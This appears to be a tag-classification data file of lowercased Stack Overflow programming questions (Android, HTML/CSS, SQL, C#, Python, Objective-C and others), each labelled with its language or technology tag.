android : error when using a runnable in an async task  i want to update a variable in my activity once every one second and for that i am using an async task and a runnable inside it. i keep getting this error saying  cannot refer to a non-final variable myrunnable inside an inner class defined in a different method  . when i change the declaration to final   it shows  the local variable myrunnable may not have been initialized  . how do i rectify the error  is there a better way of doing what i want to do    <pre><code>    import android.os.asynctask;     import android.os.handler;      public class timer extends asynctask&lt;string  process  void&gt;{ static int seconds=0; timertask timer; static int minutes=0; static int hours=0; private string timetaken; public handler myhandler = new handler();  @override protected void doinbackground(string... params) {     final runnable myrunnable = new runnable() {  @override public void run() {     ...... ......     ......  myhandler.postdelayed(myrunnable  1000); } };      return null; }    </code></pre>,android
why does the display size not match the font size in homepage   <a href= https://i.stack.imgur.com/jxbr7.png  rel= nofollow noreferrer >look at this picture</a>    the font size is set to 12px  why does it display 14px,html
error in registration form code  i m creating a registration form using using visual studio 2015  but when i run my code some problem occurs. i receive the error as stated bellow:    <a href= https://i.stack.imgur.com/8eqy4.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/8eqy4.png  alt= error description  ></a>    i could not found the problem with my code:   <pre><code>private void execution(string rnumber  string fname  string lname  string password  string gender  string cpassword  string email) {     sqlconnection conn = new sqlconnection(getconnectionstring());     string sql =  insert into table(rnumber  fname  lname  password  gender  cpassword  email) values       +   (@rnumber  @fname  @lname  @password  @gender  @cpassword  @email) ;     try     {         conn.open();         sqlcommand cmd = new sqlcommand(sql  conn);         sqlparameter[] pram = new sqlparameter[7];         pram[0] = new sqlparameter( @rnumber   sqldbtype.varchar  50);         pram[1] = new sqlparameter( @fname   sqldbtype.varchar  50);         pram[2] = new sqlparameter( @lname   sqldbtype.varchar  50);         pram[3] = new sqlparameter( @password   sqldbtype.varchar  50);         pram[4] = new sqlparameter( @gender   sqldbtype.varchar  50);         pram[5] = new sqlparameter( @cpassword   sqldbtype.varchar  50);         pram[6] = new sqlparameter( @email   sqldbtype.varchar  50);         pram[0].value = rnumber;         pram[1].value = fname;         pram[2].value = lname;         pram[3].value = password;         pram[4].value = gender;         pram[5].value = cpassword;         pram[6].value = email;         for (int i = 0; i &lt; pram.length; i++)         {             cmd.parameters.add(pram[i]);         }         cmd.commandtype = commandtype.text;         cmd.executenonquery();     }     catch (system.data.sqlclient.sqlexception ex_msg)     {         string msg =  error occured while inserting ;         msg += ex_msg.message;         throw new exception(msg);     }     finally     {         //here will be fially elements         conn.close();     }  } protected void page_load(object sender  eventargs e) {     this.unobtrusivevalidationmode = system.web.ui.unobtrusivevalidationmode.none; }   protected void buttonsubmit_click(object sender  eventargs e) {     if (textboxregstr.text ==   )     {         response.write( please complete the form. );     }     else     {         execution(textboxregstr.text  textboxfirst.text  textboxlast.text  textboxpswrd.text  textboxcnfrmpswrd.text  textboxgender.text  textboxemail.text);         confirm.visible = true;         textboxfirst.text =   ;         textboxlast.text =   ;         textboxpswrd.text =   ;         textboxgender.text =   ;         textboxcnfrmpswrd.text =   ;         textboxemail.text =   ;         textboxregstr.text =   ;      } } </code></pre>,c#
what is the proper ux for user to exit an iphone app   is the iphone  device home button  (circle button that is part of the hardware at bottom center) the standard way that users exit an iphone app     i don t have an actual iphone device yet <em>(looking for the iphone6 to come down in price a bit)</em>  am just working with xcode simulators.  when i run my iphone swift apps  they are always in full screen mode.      on android  there are a few navigation buttons built into the os that appear at the bottom of the screen - back  home  open apps.  and in that os you can give a directive to exit full screen to reveal those os buttons.. which then allows the user to easily exit the app if they d like to.    in looking at the iphone apps on the simulator  i notice they don t have this kind of ux.      what are the best practices around iphone users     a. sending an app to the background      b. quitting/closing an app,ios
can someone explain this markers   i am looking at a few css docs and i see many people use markup like this <code>#nav &gt; ul &gt; li</code> when styling their lists. i am not too familiar with how that works and was wondering if someone could explain what it is called to use carrots when styling list items  so i can find some info online.    i am used to doing it more like <code>#nav ul</code> or <code>#nav li</code>    thank you.,css
implicit conversion changes signedness  i have this warning from the compiler:   <pre><code>implicit conversion changes signedness:  nsinteger  (aka  int ) to  nsuinteger  (aka  unsigned int ) </code></pre>   which comes from this code:   <pre><code>- (nsinteger) tableview:(__unused uitableview *)tableview numberofrowsinsection:(__unused nsinteger)section {     return [_data count]; } </code></pre>   i understand the warning (it is weird that the delegate method expects a nsinteger  but just the way it is). if i cast [_data count] to a nsinteger is this the right way to do silence the warning     it could (very unlikely  but since i m learning) a buffer overflow. since the cast will reduce the amount of possible values.,objective-c
easy way to tell which jquery functions are needed   does anyone know of a tool that will tell me which jquery functions are being used for a given page  i d like to trim down the included files to just the bare minimum. thanks.,jquery
"putting <textarea><textarea></textarea></textarea> causes </textarea> not to show up  i m not entirely sure why this is  but when i put <code>&lt;textarea&gt;&lt;textarea&gt;&lt;/textarea&gt;&lt;/textarea&gt;</code>  the textarea only shows the text <code> &lt;textarea&gt; </code>  which is not what i expect.     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;textarea&gt;&lt;textarea&gt;&lt;/textarea&gt;&lt;/textarea&gt;</code></pre>
 </div>
 </div>
     what i m after is for the textarea box to have the text <code> &lt;textarea&gt;&lt;/textarea&gt; </code>. has anyone seen this before",html
why jquery defined two methods for the same purpose  size and length  after reading <a href= https://stackoverflow.com/questions/2738352/jquery-size-method-vs-length-attribute >this se discussion</a> a question pops up. why jquery defined two methods for the same purpose  is there any purpose i missed      don t know this belongs to a wiki discussion. if so please guide me to change this so.,jquery
match returning null in javascript <pre><code>var regex = new regexp( /[0-9]/ ); var test =  tree  alert(test.match(regex)); </code></pre>   or   <pre><code>var regex = new regexp( /[0-9]/ ); var test =  1234  alert(test.match(regex)); </code></pre>   why do they return null     am i missing something here     (ok  the debate mentally drained me last night),javascript
"padding-top not working in website  i am making a website for myself and i am having trouble with padding. the case i am working on involves showing a basic calculator in what ive done. the eventual goal is to have text show up upon hovering over the image  but for now the text on the image is at the top  when it needs to be in the middle.     any comments about the code or ways to improve are greatly appreciated  and thank you very much for your help. also  after a little bit of research it occured to me to use the display:block  but that has not been working for me.    thanks  ian.     code:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body {
   background-color: #edeeef;
 }
 #header {
   width: 100%;
 }
 #container {
   position: relative;
 }
 #text {
   z-index: 100;
   position: absolute;
   font-size: 20px;
   left: 50%;
   height: 50px;
   width: 15%;
   top: 30px;
 }
 #text 
 #text1 
 #text2 
 #text3 {
   background-color: #fff;
   border-radius: 2px;
   border: 2px;
   font-family:  open sans   sans-serif;
   background: none;
   color: #a4a4a4;
   padding: 0;
 }
 button {
   border-radius: 2px;
   border: 2px;
   background: none;
   padding: 0;
 }
 button:hover {
   color: #fff;
   font: #fff;
   border-radius: 5px;
   border: 2px;
   cursor: pointer;
 }
 #text:hover 
 #text1:hover 
 #text2:hover 
 #text3:hover {
   color: #eee;
 }
 #text1 {
   z-index: 100;
   position: absolute;
   font-size: 20px;
   top: 30px;
   width: 10%;
   height: 50px;
   left: 65%;
 }
 #text2 {
   z-index: 100;
   position: absolute;
   font-size: 20px;
   left: 75%;
   top: 30px;
   height: 50px;
   width: 15%;
 }
 #text3 {
   z-index: 100;
   position: absolute;
   font-size: 20px;
   left: 90%;
   top: 30px;
   height: 50px;
   width: 10%;
 }
 #abm 
 #contact 
 #cm {
   font-family:  eb garamond   serif;
   background-color: #fff;
 }
 #pw {
   background-color: #edeeef;
   font-family:  open sans   sans-serif;
   #abtbackground-color: #edeeef;
 }
 #abm {
   width: 60%;
   font-family:  open sans   sans-serif;
 }
 #cm {
   margin-left: 40%;
   font-family:  open sans   sans-serif;
 }
 #te {
   border-bottom: 1px solid #000;
   font-family:  open sans   sans-serif;
   display: inline;
   left: 40%;
   width: 40%;
 }
 #abt 
 #abm 
 #pw 
 #contact {
   font-family:  eb garamond   serif;
   color: #2f2f2f;
 }
 #abm 
 #pww 
 #te {
   font-family:  open sans   sans-serif;
 }
 .category {
   position: relative;
   display: inline-block;
   float: left;
   padding: 10px;
 }
 #ttt {
   left: 200px;
   padding-left: 200px;
 }
 #abs 
 #aa {
   display: inline-block;
 }
 #content {
   display: block;
   height: auto;
   background-color: #edeeef;
 }
 #content &gt; img {
   float: center;
   width: 15%;
   height: auto;
   display: block;
   margin: 5px 30px;
 }
 #c1:hover 
 #c2:hover {
   -webkit-filter: brightness(50%);
   opacity: 100%;
 }
 #bbb:hover ~ #c1 {
   -webkit-filter: brightness(50%);
 }
 #bbb {
   position: absolute;
   font-size: 20px;
   color: transparent;
   top: 1375px;
   width: 10%;
   height: 50px;
   left: 36%;
   opacity: 0;
 }
 #b2 {
   color: #fff;
   font-size: 20px;
   font-family:  eb garamond   serif;
 }
 #onboard {
   width: 15%;
   float: center;
   display: block;
   height: 400px;
   background: url(http://oi67.tinypic.com/2w50waa.jpg) 50% 0 no-repeat;
   background-size: cover;
 }
 #onboard:hover {
   -webkit-filter: brightness(50%);
 }
 #an {
   display: block;
   font-family:  eb garamond   serif;
   padding-top: 1000px;
 }
 #cal1 {
   display: inline-block;
   opacity: 0;
   font-family:  eb garamond   serif;
   padding-top: 100px;
 }
 #baw {
   font-size: 20px;
   padding-top: 100px;
   font-family:  eb garamond   serif;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 
 &lt;head&gt;
   &lt;title&gt;ian winson&lt;/title&gt;
   &lt;link href= https://fonts.googleapis.com/css family=eb+garamond  rel= stylesheet  type= text/css &gt;
   &lt;link href= https://fonts.googleapis.com/css family=open+sans  rel= stylesheet  type= text/css &gt;
   &lt;link rel= stylesheet  type= text/css  href= style.css &gt;
   &lt;!-- &lt;link rel= shortcut icon  href= favicon.png &gt; --&gt;
 
   &lt;!-- ****** faviconit.com favicons ****** --&gt;
   &lt;link rel= shortcut icon  href= /favicon.ico &gt;
   &lt;link rel= icon  sizes= 16x16 32x32 64x64  href= /favicon.ico &gt;
   &lt;link rel= icon  type= image/png  sizes= 196x196  href= /favicon-192.png &gt;
   &lt;link rel= icon  type= image/png  sizes= 160x160  href= /favicon-160.png &gt;
   &lt;link rel= icon  type= image/png  sizes= 96x96  href= /favicon-96.png &gt;
   &lt;link rel= icon  type= image/png  sizes= 64x64  href= /favicon-64.png &gt;
   &lt;link rel= icon  type= image/png  sizes= 32x32  href= /favicon-32.png &gt;
   &lt;link rel= icon  type= image/png  sizes= 16x16  href= /favicon-16.png &gt;
   &lt;link rel= apple-touch-icon  href= /favicon-57.png &gt;
   &lt;link rel= apple-touch-icon  sizes= 114x114  href= /favicon-114.png &gt;
   &lt;link rel= apple-touch-icon  sizes= 72x72  href= /favicon-72.png &gt;
   &lt;link rel= apple-touch-icon  sizes= 144x144  href= /favicon-144.png &gt;
   &lt;link rel= apple-touch-icon  sizes= 60x60  href= /favicon-60.png &gt;
   &lt;link rel= apple-touch-icon  sizes= 120x120  href= /favicon-120.png &gt;
   &lt;link rel= apple-touch-icon  sizes= 76x76  href= /favicon-76.png &gt;
   &lt;link rel= apple-touch-icon  sizes= 152x152  href= /favicon-152.png &gt;
   &lt;link rel= apple-touch-icon  sizes= 180x180  href= /favicon-180.png &gt;
   &lt;meta name= msapplication-tilecolor  content= #ffffff &gt;
   &lt;meta name= msapplication-tileimage  content= /favicon-144.png &gt;
   &lt;meta name= msapplication-config  content= /browserconfig.xml &gt;
   &lt;!-- ****** faviconit.com favicons ****** --&gt;
 
 &lt;/head&gt;
 
 &lt;body&gt;
 
 
   &lt;header style= overflow:hidden; margin:0 &gt;
 
     &lt;div id= container &gt;
       &lt;center&gt;
         &lt;img src= http://i.imgur.com/p7jcsxm.jpg  width= 100% &gt;&lt;/img&gt;
       &lt;/center&gt;
       &lt;font color= #2f2f2f  size= 5 &gt;&lt;button id= text  align= right  onclick= document.getelementbyid( abt ).scrollintoview();  &gt; about this website&lt;/button&gt;
             &lt;button id= text1  align= right  onclick= document.getelementbyid( abm ).scrollintoview(); &gt; about me&lt;/button&gt;
             &lt;button id= text2  align= right  onclick= document.getelementbyid( pw ).scrollintoview(); &gt;programming work&lt;/button&gt;
             &lt;button id= text3  align= right  onclick= document.getelementbyid( contact ).scrollintoview(); &gt;contact&lt;/button&gt;
             &lt;/font&gt;
     &lt;/div&gt;
   &lt;/header&gt;
 
   &lt;center&gt;
     &lt;div id= abt &gt;
       &lt;font color= #2f2f2f  face= garamond &gt;
             &lt;br&gt;&lt;br&gt;
 
           &lt;h1&gt;about this website&lt;/h1&gt;
 
           &lt;div id= abm &gt;
           &lt;/font&gt;
       &lt;font face= open sans &gt;
           &lt;p&gt;this website was started in early march 2016  and i intend for it to be my platform to post updates 
             recent coding projects  resumes  and more. i am self taught in html  so my apologies if there are
             any bugs
            &lt;/p&gt;
            &lt;br&gt;&lt;br&gt;
          &lt;/font&gt;
 
     &lt;/div&gt;
     &lt;/div&gt;
   &lt;/center&gt;
 
 
   &lt;center&gt;
     &lt;div id= abm  background-colo= pink &gt;
       &lt;font color= #2f2f2f  face= garamond &gt;
             &lt;br&gt;&lt;br&gt;
 
           &lt;h1&gt;about me&lt;/h1&gt;
           &lt;div id= abm &gt;
           &lt;/font&gt;
       &lt;font face= open sans &gt;
           &lt;p&gt;i m a sophomore at jesuit college preperatory school in dallas texas(as of early 2016).
             i have been programming for ~2 years  and mainly know java. i have made a few apps for android  none of which have been released.
              i also have done some work programming for my ftc robotics team  9157. i am also a member of frc team 2848.
            &lt;/p&gt;
            &lt;br&gt;&lt;br&gt;
          &lt;/font&gt;
 
     &lt;/div&gt;
 
   &lt;/center&gt;
   &lt;center&gt;
     &lt;div id= pw &gt;
       &lt;font color= #2f2f2f  face= garamond &gt;
           &lt;h1&gt;programming work&lt;/h1&gt;
           &lt;div id= pww &gt;
             &lt;font face= open sans &gt;
           &lt;p&gt;as previously mentioned  i mainly know java  and this is my first big project in html.
               i have made java apps including:&lt;br&gt;
 
           &lt;/div&gt;
               &lt;div id= content &gt;
                 &lt;div id= onboard &gt;
                   &lt;div id= cal1  &lt;p id= an &gt;basic&lt;/p&gt;&lt;button id= ak &gt; learn more&lt;/button&gt;
                   &lt;/div&gt;
                 &lt;/div&gt;
 
 
 
 
    &lt;img id =  c2  src= http://oi68.tinypic.com/aax9vo.jpg  alt=   width= 20%  /&gt;
    &lt;div id =  qqq &gt;
    &lt;p id =  q1  style= padding-top: 150px; &gt;advanced calculator&lt;/p&gt;
    &lt;p id =  q2 &gt; learn more&lt;/p&gt;
 &lt;/div&gt;
 
 
 &lt;/div&gt;
 
 &lt;/div&gt;
       &lt;/center&gt;
         &lt;/font&gt;
       &lt;center&gt;
         &lt;div id= contact &gt;
           &lt;font color= #2f2f2f  face= garamond &gt;
               &lt;br&gt;&lt;br&gt;
 
             &lt;h1&gt;contact me&lt;/h1&gt;
             &lt;div id= abm &gt;
             &lt;/font&gt;
           &lt;font face= open sans &gt;
 
             &lt;p&gt;if you are looking to contact me  please do it through the provided links below.&lt;br&gt;
 
               &lt;b&gt;questions&lt;/b&gt;&lt;br&gt;
             email: &lt;a href= iankwinson@gmail.com &gt;iankwinson@gmail.com&lt;/a&gt;&lt;br&gt;
             &lt;b&gt;social media:&lt;/b&gt;&lt;br&gt;
              instagram: &lt;a href= https://www.instagram.com/ianwinz/  &gt;@ianwinz&lt;/a&gt;&lt;br&gt;
             twitter: &lt;a href= https://twitter.com/ianwinz &gt;@ianwinz&lt;/a&gt;
 
             &lt;/div&gt;
 
              &lt;/p&gt;
              &lt;br&gt;&lt;br&gt;
            &lt;/font&gt;
       &lt;/center&gt;
       &lt;/div&gt;
     &lt;/div&gt;
 
 &lt;/body&gt;
 &lt;script src= main.js &gt;&lt;/script&gt;
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
converting row values separated by comma with inner joins tables query  i would like to convert row values separated by comma with inner joins tables query with other columns are also there. my query is displaying like below records:   <pre><code>name id services type xyz  1  s1       a xyz  1  s2       a xyz  1  s3       a abc  2  s2       b abc  2  s3       b </code></pre>   <img src= https://i.stack.imgur.com/tq53p.jpg  alt= enter image description here >    i d like output like below:   <pre><code>name  id  services  type xyz   1   s1 s2 s3  a abc   2   s2 s3     b </code></pre>,sql
".each(function() for div heights  i have some div.rows on a page  each row has a div containing an image and a div containing text. i have some jquery working to apply the height of the text div to the image div  so they re both the same height.    however that first text div height currently gets applied to all image divs on the page  and i want the height calculated based on the text div in each row. i ve found references to the .each(function() but obviously don t have it set correctly - any suggestions     jsfiddle:  <a href= https://jsfiddle.net/iain_g/tw1ce03f/  rel= nofollow noreferrer >https://jsfiddle.net/iain_g/tw1ce03f/</a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>jquery(document).ready(function() {
   jquery( div.row ).each(function() {
     jquery( div.feature-image ).css( height   jquery( div.feature-text ).outerheight() +  px );
   });
 });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.row {
   width: 200px;
   padding-bottom: 10px;
 }
 
 .feature-image 
 .feature-text {
   width: 100px;
   float: left;
 }
 
 .feature-text {
   background: #999;
 }
 
 .feature-image {
   overflow: hidden;
 }
 
 img {
   display: block;
   height: 100%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;div class= row &gt;
   &lt;div class= feature-image &gt;&lt;img src= https://unsplash.it/200/300 &gt;&lt;/div&gt;
   &lt;div class= feature-text &gt;
     &lt;p&gt;nam qui sunt estias et faceatias elibea solorem reped et illuptu ritaes asit es pore re voluptature voluptist  veriosam imenecum ut et officae. itat ipsus mi  ommoluptae.
     &lt;/p&gt;
   &lt;/div&gt;
   &lt;p&gt;quick clearfix&lt;/p&gt;
 &lt;/div&gt;
 &lt;div class= row &gt;
   &lt;div class= feature-image &gt;&lt;img src= https://unsplash.it/200/300 &gt;&lt;/div&gt;
   &lt;div class= feature-text &gt;
     &lt;p&gt;nam qui sunt estias et faceatias elibea solorem reped et illuptu.
     &lt;/p&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",jquery
year month day select boxes change each other javascript  i have three select boxes one for each of the year month and day and i need the month to change the day select box to the appropriate days and the year select box to make the month checkbox make the day checkbox correct for leap year.    my  shortened  html is   <pre><code>&lt;select name= year &gt; &lt;option&gt;2000&lt;/option&gt; &lt;option&gt;2001&lt;/option&gt; &lt;option&gt;2002&lt;/option&gt; &lt;option&gt;2003&lt;/option&gt; &lt;option&gt;2004&lt;/option&gt; &lt;/select&gt;  &lt;selec name= month &gt; &lt;option&gt;jan&lt;/option&gt; &lt;option&gt;feb&lt;/option&gt; &lt;option&gt;mar&lt;/option&gt; &lt;option&gt;apr&lt;/option&gt; &lt;option&gt;may&lt;/option&gt; &lt;option&gt;jun&lt;/option&gt; &lt;option&gt;jul&lt;/option&gt; &lt;option&gt;aug&lt;/option&gt; &lt;option&gt;sep&lt;/option&gt; &lt;option&gt;oct&lt;/option&gt; &lt;option&gt;nov&lt;/option&gt; &lt;option&gt;dec&lt;/option&gt; &lt;/select&gt;  &lt;select name= day &gt; &lt;option&gt;1&lt;/option&gt; ...etc... &lt;/select&gt; </code></pre>,javascript
ios: how to make the button able to call function when only drag over it  there are a bunch of buttons on the screen. if i drag a touch to the several of these buttons  how can i made it triggered all. thank you in advanced.,ios
fuzzy matching a sorted column with itself using python  i have a dataset of 200k rows with two columns: 1 - unique customer id and address combination and 2 - revenue. the table is sorted by revenue and the goal is to clean up column 1 by doing a fuzzy match with itself to check if there are any close enough customer-address combinations with higher revenue that can be used to replace combinations with lesser revenue which most likely resulted from spelling differences.    example:    <img src= https://i.stack.imgur.com/rdpan.jpg  alt= output >    in the above example the third row is very similar to the first row so i want it to take the value of the first row.    i have a working python code but it is too slow:   <pre><code>import pandas as pd import datetime import time import numpy as np from pyxdameraulevenshtein import normalized_damerau_levenshtein_distance  normalized_damerau_levenshtein_distance_ndarray  data = pd.read_csv( customermaster.csv   encoding= iso-8859-1 )  # create lookup column from the dataframe itself: lookup_data=data[ unique_id ] lookup_data=pd.series.to_frame(lookup_data)  # start iterating on row by row on lookup data to find the first closest fuzzy match and write that back into dataframe:     start = time.time()     for index row in data.iterrows():         if index%5000==0:print(index  time.time()-start)         for index2  row2 in lookup_data.iterrows():             ratio_val=normalized_damerau_levenshtein_distance(row[ unique_id ] row2[ unique_id ])             if ratio_val&lt;0.15:                 data.set_value(index  updated_id  row2[ unique_id ])                 data.set_value(index  ratio_val  ratio_val)                 break </code></pre>   currently this fuzzy matching block of code is taking too long to run - about 8 hours for the first 15k rows with time increasing exponentially as one would expect. any suggestion on how to more efficiently write this code,python
error: expected declaration or statement at end of input in c <pre><code>void mi_start_curr_serv(void){ #if 0  //stmt #endif     } </code></pre>   i m getting an error as  error: expected declaration or statement at end of input  in my compiler. i could not find any error with the above function. please help me to understand this error.,c
problems rendering pages in ff and ie  i am having a constant trouble with pages not rendering correctly between ff and ie.  not my code below.   select an account  should be next to the drop down such as: select an account type:   then my form  however my form goes to the next line when i want it next to  select an account .  in ie it renders correctly in ff it does not.   <pre><code>&lt;p&gt;&lt;b&gt;&lt;strong&gt;select an account type &lt;form name= myform &gt; &lt;select name= mylist &gt; &lt;option value= traditional &gt;traditional account &lt;option value= paperless &gt;paperless account  &lt;/select&gt; &lt;/form&gt;&lt;/b&gt;&lt;/strong&gt;&lt;/p&gt; </code></pre>,html
sql search about exclude  i can not figure out one problem about the sql search from one table which has columns (name  population  area)  which is below:     show the countries that are big by area or big by population but not both. show name  population and area.     my command is below:   <pre><code>select name  population  area from world where population &gt; 250000000 or area &gt; 3000000 except  select name  population  area from world where population &gt; 250000000 and area &gt; 3000000 </code></pre>   but it says you have an error in your sql syntax. anyone can offer me some hint about this problem  thanks.,sql
are value types garbage collected   i understand there is garbage collection for reference types  but i m wondering how garbage collection works for value types.     do value types get garbage collected when they go out of scope,.net
about java input string filter  i have a very simple question about java string filter  i to want input this command to console.    add 100@10    which means execute add method input arguments 100 and 10 respectively.    i used    <pre><code>string[] s = str.split( @ );  string a = s[0];// here can get 100  string b=s1];// get can get 10 </code></pre>   i have two questions    <ul> <li> first is how to do delete the at (@) character before put it to string.split() </li> <li> second can anyone can provide some better solution to handle this kind of input   </li> </ul>   such as    <pre><code>add 1000@10   //only add 1000 10 need to take  times 1000@10  //only add 1000 10 need to take  </code></pre>,java
overriding the python help() function behaviour  i ve created a python proxy class that calls methods on a remote object.  i ve used a closure to override the <strong>doc</strong> attribute on my dynamically created methods so that    <pre><code>help(obj.method) </code></pre>   gives me the help on my remote object method.  i then decided that i wanted to do the same thing for the object attributes.  i have in my class something like:   <pre><code>class proxy:     def __getattr__(self  name):         # do stuff to get remote attribute </code></pre>   now when calling code like this:   <pre><code>help(obj.attribute) </code></pre>   i of course get the doc string of the queried value type (string  int or whatever was returned).    the only way i can think to avoid this is to get a stack dump inside <code>__getattr__()</code>  identify and look for the help() call  and conditionally return object/class instead of the remotely queried value. this is obviously non-ideal because there are quite a few ways one could specify the same thing  however it would help me from the command-line which is the most likely place i am to use this  so perhaps better than nothing.    is there a better way,python
.trim() when string is empty or null  i m receiving some data from the client in the form of json. i m writing this:   <pre><code>string thetext; // or whould it be better string thetext =   ;   thetext = ((serializer.converttotype&lt;string&gt;(dictionary[ thetext ])).trim()); </code></pre>   if the variable that s being parsed from json comes back empty  does this code crash when i call the .trim() method     thanks.,c#
what does it mean to write `static void * ptr = &ptr` in objective-c  i am reading apple s recently (dec 5  2013) updated sample code for camera control using av foundation (here is the <a href= https://developer.apple.com/library/ios/samplecode/avcam/introduction/intro.html  rel= nofollow >link</a>). and i come across the following lines in the file <strong>avcamviewcontroller.m</strong> which i don t understand.    <pre><code>static void * capturingstillimagecontext = &amp;capturingstillimagecontext; static void * recordingcontext = &amp;recordingcontext; static void * sessionrunninganddeviceauthorizedcontext = &amp;sessionrunninganddeviceauthorizedcontext; </code></pre>   what does it mean to assign the pointer of itself  why do we need this      update (2015-10-02): now the avcam is updated and rename to avcam-ios  if you are still insterest in this code <a href= https://developer.apple.com/library/ios/samplecode/avcam/listings/avcam_aaplcameraviewcontroller_m.html#//apple_ref/doc/uid/dts40010112-avcam_aaplcameraviewcontroller_m-dontlinkelementid_6  rel= nofollow >avcamviewcontroller.m</a>.,objective-c
inserting unix time and special symbol  trying to run this query -   <pre><code>insert into rmedvedeva993@gmail.com  (url unix)      values (@https://youtu.be/xxsuqrhd8pw @1500152563.66077); </code></pre>   after reading about this issue tried wrapping database like this- <code>rmedvedeva993@gmail.com</code>    getting an error:   <blockquote>    you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  ://youtu.be/xxsuqrhd8pw @1500152563.66077)  at line 1  </blockquote>   not quite sure what s the issue here      p.s.: my columns are formated as <code>char(255)</code>    `,mysql
convert float value to nsstring  do you know how can i convert float value to nsstring value because with my code  there is an error.    my code :    <pre><code>- (float)percent:(float)a :(float)b{     return a / b * 100; }  - (void)objectloader:(rkobjectloader*)objectloader didloadobjects:(nsarray*)objects {   // ....         float tx_nb_demande_portabilite = [self percent: [(nsnumber*) [stat nb_demande_portabilite] floatvalue] :[(nsnumber*) [stat nb_users] floatvalue]];     nsstring *tx_nb_demande_portabilite_st = [nsstring stringwithformat:@ %@   tx_nb_demande_portabilite]; //.... } </code></pre>   the error :    <pre><code>exc_bad access for nsstring *tx_nb_demande_portabilite_st = [nsstring stringwithformat:@ %@   tx_nb_demande_portabilite]; </code></pre>   thank you for your help.,objective-c
sql query with complicated date conditions  i have a database table with the following structure:   <pre><code>id      activedate      activeqtr      inactiveqtr      value ------------------------------------------------------------------ 1       2004-06-30      2004-06-30     2004-12-31       10 1       2004-08-10      2004-09-30     2004-12-31       200  2       2004-12-31      2004-12-31     2005-03-31       150 2       2005-01-20      2005-03-31     2005-12-31       60 2       2005-03-31      2005-03-31     2005-12-31       75        3       2005-04-15      2005-06-30     2007-06-30       100  2       2005-06-30      2005-06-30     2006-06-30       80 </code></pre>   activedate can be any date. activeqtr is the activedate rolled forward to the next quarter-end date. inactiveqtr is some quarter-end date greater than or equal to activeqtr. inactiveqtr doesn t necessarily correspond to the date of the newest entry for an id and the differences between activeqtr and inactiveqtr are not consistent across entries.    what i want is to find  for each activeqtr  the sum of all values that correspond to the most recent entry for each id that is still active in that quarter.    for this example  the results should look like this   <pre><code>activeqtr      sum(value) ------------------------- 2004-06-30     10 2004-09-30     200 // use more recent entry for id=1 2004-12-31     350 // entry from id=1 on 2004-08-10 is still valid 2005-03-31     75  // entry from id=1 not valid anymore; also only use more recent entry from id=2 2005-06-30     180 </code></pre>   i ve tried grouping by activeqtr  but that doesn t work because i lose entries that are still active in that quarter. i also don t know how to deal with the case where there are multiple entries for an id that are active for a particular quarter and i need to select the one with the max(activedate).,sql
how to merge multiple python source file into single one   i need to merge multiple source py files into single one. so that i could upload it to an online python environment which doesn t allow creating nested directories.    the source py files are nested in different directories  but not too many or too deep.    i was thinking to achieve this by using some comments  a merger exe reads those comments and concats the content of those files.    is there a more reliable &amp; official way to do this,python
trigger or insert  i have 2 tables: <code>product</code> and <code>unproveproduct</code>     when a product is inserted  one row must be inserted for that new product into <code>unprovedproduct</code>.     which solution is better and why    <ol> <li>create a trigger after insert on <code>product</code></li> <li>in the procedure when inserting a row into <code>product</code> then also insert a row into <code>unprovedproduct</code></li> </ol>,sql
strange behaviour with ng-model binding and checkbox  i m trying to intercept a checkbox change so i can put a confirmation stage in the middle and i am experiencing strange behaviour.    when i click the checkbox <code>preventdefault</code> is stopping the ui from changing the checkbox  except the bound model will change once and then no longer be changeable.    any ideas on how i can fix this  am i approaching this wrong    <pre><code>$scope.change = function(selected  $event){       $event.preventdefault();     }; </code></pre>   <a href= https://jsfiddle.net/tcvhn/197/  rel= nofollow >https://jsfiddle.net/tcvhn/197/</a>   <blockquote>    edit: answers to jb s questions below:       <ol>   <li> i am trying to intercept the checkbox change so i can put a confirmation step in the middle ie  are you sure you want to change   this text box   </li>   <li> just updated to 1.47 (and updated jsfiddle link). </li>   <li> i m using ng-click because ng-change doesn t pass the event   through which means i can t cancel the ui change via   $event.preventdefault. </li>   <li> see above. </li>   </ol> </blockquote>,angularjs
simple query how to join  1st table (student)   <pre><code>|name |  matricno |  subject  | |john |  a01      |  history  | |john |  a01      |  math     | |john |  a01      |  language | </code></pre>   2nd table (remark)   <pre><code>|name |  matricno |  subject  | grade | |john |  a01      |  history  |   a   | |john |  a01      |  math     |   b   | </code></pre>   <strong>i have make the query </strong> *<em>so the output like this</em>*    <strong>query = select a.* b.grade from student a left join remark b on(a.matricno=b.matricno)</strong>   <pre><code>|name |  matricno |  subject  | grade  | |john |  a01      |  history  |  a     | |john |  a01      |  math     |  b     | </code></pre>   <strong>but i want output like this:-</strong>   <pre><code>|name |  matricno |  subject  |  grade  | |john |  a01      |  history  |   a     | |john |  a01      |  math     |   b     | |john |  a01      |  language |  null   | </code></pre>   <strong>i already try left join and right join also give me the same output.</strong>,mysql
converting little endian to int  first of all  i think this question is not c# independent. but can also be used in other languages like c.   <hr>   i m now trying to parse a file format which stores integers in 4 bytes little-endian format. tbh  i don t know how the little-endian format nor big-endian format works.    but i need to convert them into an usable int variable.    for example  02 00 00 00 = 2    so far  i have this code to convert the first 2 bytes: (i used filestream.read to store the raw datas into a buffer variable)   <pre><code>        int num = ((buffer[5] &lt;&lt; 8) + buffer[4]); </code></pre>   but it will only convert the first two bytes. (02 00 in the example  not 02 00 00 00)    any kind of help would be appreciated :),c#
